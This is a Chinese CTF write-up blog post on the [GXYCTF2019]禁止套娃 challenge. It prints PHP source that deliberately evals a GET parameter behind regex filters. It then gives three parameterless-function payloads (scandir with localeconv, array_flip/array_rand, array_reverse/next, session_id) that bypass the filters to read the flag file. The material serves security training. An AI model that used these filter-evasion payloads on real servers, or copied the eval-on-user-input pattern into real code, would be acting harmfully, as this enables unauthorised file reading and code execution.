HacKerQWQ的博客空间

无参数构造payload读取文件(含PHP数组的知识)

Word count: 674Reading time: 2 min
2020/11/08 Share

知识点

PHP数组处理函数

  1. scandir ( string $directory [, int $sorting_order [, resource $context ]] ) : array
    列出指定路径中的文件和目录,返回一个数组

  2. readfile ( string $filename [, bool $use_include_path = FALSE [, resource $context ]] ) : int
    读取文件并写入到输出缓冲中(直接输出内容)

  3. file_get_contents ( string $filename [, bool $use_include_path = false [, resource $context [, int $offset = -1 [, int $maxlen ]]]] ) : string
    将整个文件读入一个字符串

  4. file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int
    将一个字符串写入一个文件

  5. current ( array &$array ) : mixed
    放回数组的当前单元(初始指向第一个单元)

  6. array_rand ( array $array [, int $num = 1 ] ) : mixed
    从数组中取出一个或多个随机单元

  7. shuffle ( array &$array ) : bool
    打乱数组

  8. array_values ( array $array ) : array
    返回数组中所有的值

  9. array_flip ( array $array ) : array
    交换数组中的键和值

正则表达式

(?R)表示匹配本正则表达式

[GXYCTF2019]禁止套娃

直接上题,不多BB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

用千层饼分析法(我编的):

  • 第一层:ban了data://php://phar://
  • 第二层:’/[a-z,_]+((?R)?)/‘表示将system()这些没有参数的函数递归变为空之后,只剩下;符号,(?R)前面提到过表示匹配本正则表达式,将它放到括号里面就可以实现函数嵌套,也就是题目说的套娃
  • 第三层:ban掉了这些字符et|na|info|dec|bin|hex|oct|pi|log

解法一(array_rand和array_flip随机读取)

使用array_rand()array_flip()将数组的键和值反过来,然后随机读取,只要次数够多,会将数组遍历完的
那么就要构造.通过localeconv() 函数返回包含本地数字及货币信息格式的数组,而数组第一项就是.

构造payload获取当前目录的文件名

1
?exp=print_r(scandir(current(localeconv())));


然后就要用到上面的array函数

1
?exp=highlight_file(array_rand(array_flip(scandir(current(localeconv())))));

解法二(逆向读取数组)

array_reverse()将数组反过来,然后next将数组指针往前移一个,读取第二个就是flag了
构造payload

1
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

解法三(通过session_id传参)

默认php是不使用session,所以可以通过我们构造的session,也就是常见的Cookie: PHPSESSID=...来传递参数
构造payload

1
?exp=readfile(session_id(session_start()));

CATALOG
  1. 1. 知识点
    1. 1.1. PHP数组处理函数
    2. 1.2. 正则表达式
  2. 2. [GXYCTF2019]禁止套娃
    1. 2.1. 解法一(array_rand和array_flip随机读取)
    2. 2.2. 解法二(逆向读取数组)
    3. 2.3. 解法三(通过session_id传参)